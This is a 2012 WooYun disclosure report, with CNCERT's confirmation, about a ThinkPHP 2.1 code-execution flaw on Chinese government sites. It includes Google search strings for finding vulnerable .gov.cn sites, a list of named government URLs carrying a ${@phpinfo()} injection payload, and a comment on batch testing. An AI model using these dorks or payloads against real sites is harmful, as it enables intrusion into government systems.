当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-07708

漏洞标题：大量政府站远程代码执行

相关厂商：cncert国家互联网应急中心

漏洞作者： 风萧萧

提交时间：2012-05-30 21:57

修复时间：2012-07-14 21:57

公开时间：2012-07-14 21:57

漏洞类型：命令执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-05-30： 细节已通知厂商并且等待厂商处理中
2012-06-04： 厂商已经确认，细节仅向厂商公开
2012-06-14： 细节向核心白帽子及相关领域专家公开
2012-06-24： 细节向普通白帽子公开
2012-07-04： 细节向实习白帽子公开
2012-07-14： 细节向公众公开

简要描述：

话说最近远程代码执行很火，日拿千站不是梦想

详细说明：

thinkphp的漏洞，ThinkPHP framework 任意代码执行漏洞预警传送门

http://zone.wooyun.org/index.php?do=view&id=44


配合google查询，真的可以说日拿千站
1. thinkphp加载模块出错的时候会报：

"系统发生错误"

"您可以选择 [ 重试 ] [ 返回 ] 或者 [ 回到首页 ]"

"ThinkPHP 2.1 { Fast & Simple OOP PHP Framework } -- [ WE CAN DO IT JUST THINK IT ]"

，如下图：


2. 根据经验，貌似只有ThinkPHP 2.1会受影响（未验证），因此可以google如下关键字：

site:.gov.cn 系统发生错误 2.1

或者

site:.gov.cn WE CAN DO IT JUST THINK IT 2.1

等等，查询出来的政府站基本都是有问题的。
3.给出受影响的站点链接如下：

http://www.fscctz.gov.cn/index.php/module/action/param1/$%7B@phpinfo()%7D

http://www.jtxwbb.gov.cn/index.php/module/action/param1/$%7B@phpinfo()%7D

http://www.gxyzs.gov.cn/index.php/module/action/param1/$%7B@phpinfo()%7D

http://gaokao.fjedu.gov.cn/ztc/index.php/module/action/param1/$%7B@phpinfo()%7D

http://www.msghj.gov.cn/index.php/module/action/param1/$%7B@phpinfo()%7D

http://www.tszsj.gov.cn/index.php/module/action/param1/$%7B@phpinfo()%7D

http://www.gdofa.gov.cn/index.php/module/action/param1/$%7B@phpinfo()%7D

漏洞证明：

为了方便开发者，google也提供了API借口

https://developers.google.com/custom-search/v1/cse/list

本来是要开发完代码再发的，不过这段时间确实很忙啊，还是算了。截一个图作为漏洞证明吧：

修复方案：

及时补丁

版权声明：转载请注明来源 风萧萧@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2012-06-04 11:25

厂商回复：

CNVD确认并复现所述所有情况，对于部分省市级政府部门网站会由CNCERT当地分中心（如：福建、广东等）协调涉事单位处置。
参考此前对通用软件漏洞事件的评分原则，根据网站对应主管部门级别及业务应用重要程度，rank 11（有高考网站）

最新状态：

暂无

漏洞评价：

评论

  1. 2012-05-30 22:11 | 我了个去 ( 普通白帽子 | Rank:139 漏洞数:14 | 4892057@qq.com ...)

    坐等真相

  2. 2012-05-30 22:34 | cncert国家互联网应急中心(乌云厂商)

    大家都这么生猛，往后一些软件厂商、开源开发方情何以堪。

  3. 2012-05-30 22:49 | 冰锋刺客 ( 普通白帽子 | Rank:113 漏洞数:14 | 请在监护人陪同下与本人交流)

    坐等内容

  4. 2012-05-30 23:32 | Valo洛洛 ( 普通白帽子 | Rank:458 漏洞数:52 | 。)

    mark

  5. 2012-05-31 08:37 | 陌路 ( 路人 | Rank:8 漏洞数:5 | 安全爱好者！)

    很正常

  6. 2012-06-28 17:02 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    不膜拜都不行

  7. 2012-07-14 23:06 | w5r2 ( 普通白帽子 | Rank:226 漏洞数:52 )

    其实 这个的方法很简单，批量的时候大家可以直接这样，http://www.baidu.com/index.php//xx/xx/xx/$%7B@phpinfo()%7D,不说大家都懂。